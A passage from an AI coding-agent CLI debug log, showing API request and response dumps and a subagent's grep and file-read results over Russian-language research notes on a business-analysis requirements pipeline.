...],\n[2026-09-29T07:45:25.801Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:25.805Z] [STDOUT]       fallbacks: \"default\",\n[2026-09-29T07:45:25.809Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:25.817Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:25.825Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:25.830Z] [STDOUT]     },\n[2026-09-29T07:45:25.840Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:25.847Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:25.852Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:25.856Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:25.869Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:25.881Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:25.887Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:25.898Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:25.904Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:25.909Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:25.914Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:25.924Z] [STDOUT]     },\n[2026-09-29T07:45:25.927Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:25.930Z] [STDOUT]   },\n[2026-09-29T07:45:25.936Z] [STDOUT]   headers: {\n[2026-09-29T07:45:25.946Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:25.950Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,server-side-fallback-2026-07-01,fallback-credit-2026-06-01,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:25.961Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:25.964Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:25.972Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:25.975Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:25.981Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:25.991Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:25.998Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:26.002Z] [STDOUT]     \"x-cc-compaction-request\": \"auto\",\n[2026-09-29T07:45:26.009Z] [STDOUT]     \"x-claude-code-compaction\": \"auto\",\n[2026-09-29T07:45:26.013Z] [STDOUT]     \"x-claude-code-request-class\": \"compaction\",\n[2026-09-29T07:45:26.021Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:26.027Z] [STDOUT]     \"x-client-request-id\": \"3988f95a-4e6b-48d6-9fea-238a2bec606a\",\n[2026-09-29T07:45:26.033Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:26.036Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:26.039Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:26.043Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:26.050Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:26.053Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:26.056Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:26.061Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:26.065Z] [STDOUT]   },\n[2026-09-29T07:45:26.072Z] [STDOUT] }\n[2026-09-29T07:45:26.077Z] [INFO] {\n[2026-09-29T07:45:26.077Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:26.077Z] [INFO]   \"message\": {\n[2026-09-29T07:45:26.077Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:26.077Z] [INFO]     \"id\": \"msg_011CfXMkYcYpLGdccVEn28v7\",\n[2026-09-29T07:45:26.077Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:26.077Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:26.077Z] [INFO]     \"content\": [\n[2026-09-29T07:45:26.077Z] [INFO]       {\n[2026-09-29T07:45:26.077Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:26.077Z] [INFO]         \"id\": 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history\"\n[2026-09-29T07:45:26.116Z] [INFO] }\n[2026-09-29T07:45:27.256Z] [INFO] {\n[2026-09-29T07:45:27.256Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:27.256Z] [INFO]   \"message\": {\n[2026-09-29T07:45:27.256Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:27.256Z] [INFO]     \"content\": [\n[2026-09-29T07:45:27.256Z] [INFO]       {\n[2026-09-29T07:45:27.256Z] [INFO]         \"tool_use_id\": \"toolu_01GMmbBV8iNwsNMPSy48kDSH\",\n[2026-09-29T07:45:27.256Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:27.256Z] [INFO]         \"content\": \"./methodology-unification/10-theory.md:40:  \u0442\u043e \u0435\u0441\u0442\u044c \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c: \u0434\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u0430\u044e\u0442 \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0432\u043e\u0434\u0430 \u043d\u043e\u0440\u043c.\\n./methodology-unification/10-theory.md:166:| **\u041c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 (`G-mach`)** | \u0424\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043c\u044b\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430: \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 \u0446\u0438\u0442\u0438\u0440\u0443\u0435\u043c\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 KB, \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044f, \u0441\u0445\u0435\\n./2026-09-08-kb-slot-fit-facts.md:45:\u0421\u043b\u043e\u0439 `kb/processed/` \u0441\u043f\u0438\u0446\u044b \u2014 \u043c\u0430\u0448\u0438\u043d\u043d\u043e-\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438\u0437\\n./artifact-rendering/10-theory.md:112:| `H2.2` | \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u043d\u0434\u0435\u0440 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0434\u043b\u044f `tz` \u0432 \u0441\u0438\u043b\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043a \u0441\u0432\u044f\u0437\u043d\u043e\u043c\u0443 \u0442\u0435\u043a\u0441\u0442\u0443 | \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d \u0422\u0417 \u043f\u043e \u0413\u041e\u0421\u0422 34.602-2020 \u0438\u0437 \u044f\u0434\u0440\u0430 |\\n./artifact-rendering/10-theory.md:123:- `D-2.3`: \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d \u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0441\u043b\u0435\u0434 \u043f\u0440\u043e\u043e\u0431\u0440\u0430\u0437\u0430 \u0432 \u0441\u0430\u043c\u043e\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435\\n./artifact-rendering/20-taxonomy.md:40:| `RM-1` | \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d | \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u044f\u0434\u0440\u0430 \u0432 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 | `RN-1`, `RN-2`, `RN-3` \u2014 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e | \u0432\u044b\u0441\u043e\u043a\u0430\u044f \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0448\u0430\u0431\u043b\u043e\ufffd\\n./artifact-rendering/20-taxonomy.md:42:| `RM-3` | \u0433\u0438\u0431\u0440\u0438\u0434 | \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u0430\u0440\u043a\u0430\u0441 \u0438 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0441\u043b\u043e\u0442\u044b, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u043b\u043e\u0442\u0430 | `RN-1`, `RN-2`, `RN-4` \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e; `RN-3` \u2014 \u0432\u044b\u0431\u043e\u0440\u043e\u0447\u043d\u043e | \u0441\u0440\u0435\u0434\u043d\u044f\u044f |\\n./artifact-rendering/20-taxonomy.md:93:| `TR-3` | \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f | \u0442\u0430\u0431\u043b\u0438\u0446\u0430 `\u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u2192 \u0440\u0430\u0437\u0434\u0435\u043b` | `L3`, `A6 = regulated` |\\n./artifact-rendering/50-open-research.md:26:**\u041d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442.** \u0427\u0442\u043e \u0434\u0440\u0435\u0439\u0444 \u0438\u0441\u043a\u0430\u0436\u0435\u043d\u0438\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c. \u0427\u0442\u043e \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c\\n./artifact-rendering/50-open-research.md:100:| \u0421\u043b\u0435\u0434 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u0443\u0435\u043c\u043e\u0441\u0442\u0438 (`TR-*`) | \u0433\u043b\u0443\u0431\u0438\u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441 \u044f\u0434\u0440\u043e\u043c |\\n./artifact-rendering/00-introduction.md:46:5. \u0420\u0435\u043d\u0434\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u2014 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d, \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0441\u0431\u043e\u0440\u043a\u0430 \u0438\\n./orchestration/10-theory.md:119:\u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u043e, \u043d\u043e \u043d\u0435 \u0434\u0430\u0451\u0442 \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0439 \u0444\u043e\u0440\u043c\u044b \u044d\u0442\u043e\u0433\u043e \u0432\u044b\u0431\u043e\u0440\u0430; BPMN/CMMN \u0434\u0430\u044e\u0442 \u0444\u043e\u0440\u043c\u0443,\\n./orchestration/10-theory.md:121:\u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043c\u0435\u0436\u0434\u0443 \u044d\u0442\u0438\u043c\u0438 \u043a\u0440\u0430\u0439\u043d\u043e\u0441\u0442\u044f\u043c\u0438: \u0431\u0435\u0437 \u0434\u0432\u0438\u0436\u043a\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u043d\u043e \u0441\\n./orchestration/50-open-research.md:112:| \u041c\u0430\u0440\u0448\u0440\u0443\u0442\u043d\u044b\u0439 \u043b\u0438\u0441\u0442 (`C-RK`) | \u043c\u0430\u0448\u0438\u043d\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0441 \u043e\u0441\u044f\u043c\u0438, \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c\u0438 \u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c |\",\n[2026-09-29T07:45:27.256Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:27.256Z] [INFO]       }\n[2026-09-29T07:45:27.256Z] [INFO]     ]\n[2026-09-29T07:45:27.256Z] [INFO]   },\n[2026-09-29T07:45:27.256Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:27.256Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:27.256Z] [INFO]   \"uuid\": \"570a2d85-dca7-4e56-b9f1-dbff05f77fde\",\n[2026-09-29T07:45:27.256Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:27.250Z\",\n[2026-09-29T07:45:27.256Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:27.256Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:27.256Z] [INFO] }\n[2026-09-29T07:45:27.288Z] [STDOUT] [log_c6fc6a] sending request {\n[2026-09-29T07:45:27.292Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:27.297Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:27.302Z] [STDOUT]   options: {\n[2026-09-29T07:45:27.309Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:27.316Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:27.319Z] [STDOUT]     body: {\n[2026-09-29T07:45:27.327Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:27.332Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:27.337Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:27.342Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:27.346Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:27.350Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:27.357Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:27.363Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:27.366Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:27.368Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:27.370Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:27.371Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:27.374Z] [STDOUT]     },\n[2026-09-29T07:45:27.379Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:27.384Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:27.388Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:45:27.391Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:45:27.394Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:27.396Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:27.399Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:27.402Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:27.407Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:27.411Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:27.417Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:27.421Z] [STDOUT]     },\n[2026-09-29T07:45:27.430Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:27.432Z] [STDOUT]   },\n[2026-09-29T07:45:27.436Z] [STDOUT]   headers: {\n[2026-09-29T07:45:27.439Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:27.441Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:27.444Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:27.447Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:27.449Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:27.453Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:27.459Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:27.462Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:27.471Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:27.477Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:27.481Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:27.485Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1366\",\n[2026-09-29T07:45:27.490Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:27.496Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:27.500Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:27.502Z] [STDOUT]     \"x-client-request-id\": \"1fc358a4-7c5c-4b6c-bde1-142603a9ff1c\",\n[2026-09-29T07:45:27.506Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:27.509Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:27.511Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:27.516Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:27.524Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:27.529Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:27.533Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:27.537Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:27.542Z] [STDOUT]   },\n[2026-09-29T07:45:27.546Z] [STDOUT] }\n[2026-09-29T07:45:28.055Z] [STDOUT] [log_c6fc6a, request-id: \"req_011CfXMkwbuhCEUM6SiWzG7g\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 769ms\n[2026-09-29T07:45:28.061Z] [STDOUT] [log_c6fc6a] response start {\n[2026-09-29T07:45:28.065Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:28.070Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:28.074Z] [STDOUT]   headers: {\n[2026-09-29T07:45:28.077Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:28.081Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:28.088Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:28.092Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:28.097Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:28.104Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:28.109Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:28.118Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": 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\"content\": \"---\\nstatus: draft\\nversion: 0.5\\nupdated: 2026-09-10\\ntemperature: 0.1\\n---\\n\\n# BA Requirements \u2014 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430\\n\\n\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u0442 **\u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440** \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430: \u043a\u0430\u043a\\n\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 (`M0`),\\n\u043a\u0430\u043a \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0432 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u044f\u0434\u0440\u043e (`M1`), \u043a\u0430\u043a \u044f\u0434\u0440\u043e \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f\\n\u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0431\u0435\u0437 \u043f\u043e\u0442\u0435\u0440\u0438 \u0441\u043c\u044b\u0441\u043b\u0430 (`M2`), \u043a\u0430\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u044b\u043a\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439\\n\u0441\u0432\u044f\u0437\u044c\u044e (`M3`) \u0438 \u043a\u0430\u043a \u0432\u0441\u0451 \u044d\u0442\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u043b\u044e\u0434\u044c\u043c\u0438 \u0438 \u0430\u0433\u0435\u043d\u0442\u0430\u043c\u0438 (`M4`).\\n\u0414\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f \u0437\u0430\u0434\u0430\u043d\u0430\\n[RFC \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-08-25-rfc-ba-artifact-pipeline-rrp-roadmap.md).\\n\\n\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u043e \u043e\u0442 [`research/mango/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/mango):\\n\u0442\u0430\u043c \u043b\u0435\u0436\u0430\u0442 \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u0442\u0447\u0451\u0442\u044b \u043f\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u0434\u0430\u0447\u0430\u043c \u0441\u043f\u0438\u0446\u044b MANGO OFFICE, \u0437\u0434\u0435\u0441\u044c \u2014\\n\u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u0430\u044f \u0440\u0430\u043c\u043a\u0430, \u0443 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Mango \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c (\u043f\u0435\u0440\u0432\u044b\u043c) \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c.\\n\\n## \u041c\u043e\u0434\u0443\u043b\u0438\\n\\n- [`normalization/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/normalization/00-introduction.md)\\n  \u2014 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439: \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430,\\n  \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u0430\u044f \u0438 Mango-\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, \u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u0438,\\n  \u0440\u0430\u043c\u043a\u0430 \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u0442\u0440\u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0433\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b.\\n  \u041e\u0444\u043e\u0440\u043c\u043b\u0435\u043d \u043f\u043e [Reference Research Pattern](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-07-17-rfc-reference-research-pattern.md)\\n  